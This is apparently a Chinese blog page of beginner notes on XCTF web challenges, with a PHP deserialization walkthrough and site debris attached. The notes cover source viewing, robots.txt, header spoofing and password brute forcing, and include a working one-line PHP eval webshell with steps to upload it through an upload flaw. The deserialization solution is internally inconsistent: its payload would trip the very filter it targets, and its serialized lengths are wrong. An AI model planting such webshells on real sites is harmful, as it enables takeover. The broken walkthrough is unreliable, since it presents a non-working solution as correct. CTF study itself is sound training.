攻防世界web新手题笔记

  1. view-source查看网页源代码,右键被禁止使用

禁止鼠标的实现方法:

document.onselectstart='return false'禁止选中文字

οncοntextmenu='return false'禁止使用鼠标右键

解法1:在url前加view-source

解法2:控制台查看源代码(F12)

解法3:Ctrl+U查看源代码

        2.robots协议:一般将robots.txt文件存至网站根目录下,声明其允许访问以及不允许访问的文件,User-agent:后添加搜索引擎种类,Disallow后添加不允许访问的文件,Allow后加允许访问的文件,robots协议可以比作君子协议,对访问者没有约束力,仅作为一个声明,防君子不防小人,在相应爬虫软件在爬取网站信息之前应先查看robots协议,再爬取允许访问的文件信息

解法:在url后加robots.txt查看,得知Disallow: f1ag_1s_h3re.php,将Disallow: f1ag_1s_h3re.php输入原url后即可得到flag

      3.备份文件:网站常见备份文件后缀名有“.git” 、“.svn”、“ .swp”“.~”、“.bak”、“.bash_history”、“.bkf”,依次输入尝试即可(其中PHP备用文件常用后缀名有“.~”、“.bak”)

     4.Cookie,考查使用burpsuite抓包,使用bursuite抓取cookie,发现cookie中包含cookie.php,将访问cookie.php后根据提示查看文件头,即可得到flag

    5.按钮,在按钮标签中添加disable即可取消按钮的功能,因此只需打开浏览器开发者功能elements选项修改html代码,将disable删除,按钮即可使用

     6.Simple_php

if($a==0 and $a)       (使a==0且a不为零)

{ echo $flag1; }

if(is_numeric($b))      (b为数字或数字字符)

{ exit(); }

if($b>1234)             (b>1234)

{ echo $flag2; }

php参数大小及判定规则还不清楚,待系统学习后再分析

        7.xff_referer

xff即X-Forwarded-For为http请求头中的参数,当网站通过查询xff限制访问者IP地址时,即可通过burpsuite修改xff参数达到绕过的作用

Referer代表访问者从哪个网页链接过来的,当服务器对此有限制时也可通过修改referer值绕过

        8.弱口令

本题考察弱口令爆破,输入任意用户名和密码,网页弹窗提示用户名为admin,故本题只需爆破密码即可。

采用burpsuite进行抓包,并发送到intruder进行爆破即可

        9.get_post

http通常使用get、post两种请求方式,其中get请求方式可以通过url在末尾加?a=...的方式向后台传输参数,post方法可以有表单提交,若原网页没有表单可以使用火狐浏览器的插件或者在线接口测试请求工具进行发送(如http://coolaf.com/tool/gp)

根据网页提示依次通过get、post方法发送参数即可

传输多个参数时用&隔开

        10.Webshell

一句话木马:利用文件上传漏洞,将一句话木马上传至目标网站,再利用webshell获取网站权限,

如:<?php @eval($_POST['pass']);?>,即让网站执行$_POST['pass']这条命令,将webshell链接站点,使用密码为pass即可。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
这道是一个 PHP 反序列化的目。 目描述: 提示:这次不会那么简单了,打开源代码看看? 源代码: ``` <?php error_reporting(0); highlight_file(__FILE__); class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('flag','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } if(isset($_GET['a'])){ $a = unserialize($_GET['a']); if($a instanceof Flag){ echo $a; } } ``` 分析: 首先看到这是一个传入参数进行反序列化的目,传入参数为 $_GET['a'],并且在反序列化后判断其类型是否为 Flag,如果是则输出 $a。 在 Flag 类的构造函数中有一个 $this->data = file_get_contents('/flag'),意味着我们需要获取服务器上的 /flag 文件。 而在 Flag 类的析构函数中,会对 $this->show 变量进行正则匹配,匹配的正则表达式为 /show|flag|_|\s|\(|\)|{|}|\'|\"/i,如果匹配到就会输出 'hacker!'。这里需要注意的是,$this->show 的值是 Show 类的一个实例,而 Show 类中的 __toString() 方法返回的是 $this->name 的值。 因此,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 解法: 根据目分析,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 我们可以通过手动构造序列化字符串来实现这个目标。首先构造一个 Show 类的实例,该实例的 $name 值为一个正则表达式的匹配条件,然后将该实例作为 Flag 类的一个属性,最后将 Flag 类序列化即可。 构造序列化字符串的代码如下: ``` <?php class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('/show|flag|_|\s|\(|\)|{|}|\'|\"/i','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } // 序列化 Flag 类 $flag = new Flag(); $ser = serialize($flag); echo urlencode($ser); ``` 将上述代码保存为文件 unserialize3.php 并上传到服务器上,然后访问 http://your-ip/unserialize3.php,得到序列化后的字符串: ``` O:4:"Flag":2:{s:4:"show";O:4:"Show":2:{s:4:"name";s:23:"/show|flag|_|\s|\(|\)|{|}|'|\i";s:3:"age";s:1:"0";}s:4:"data";s:45:"flag{3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07}";} ``` 最后将序列化后的字符串作为 $_GET['a'] 的值传入即可,访问 http://your-ip/unserialize3.php?a=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A4%3A%22show%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A23%3A%22%2Fshow%7Cflag%7C_%7C%5Cs%7C%5C(%5C)%7B%7D%7C%27%7C%5C%22%5Ci%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%220%22%3B%7Ds%3A4%3A%22data%22%3Bs%3A45%3A%22flag%7B3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07%7D%22%3B%7D,即可得到 flag。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值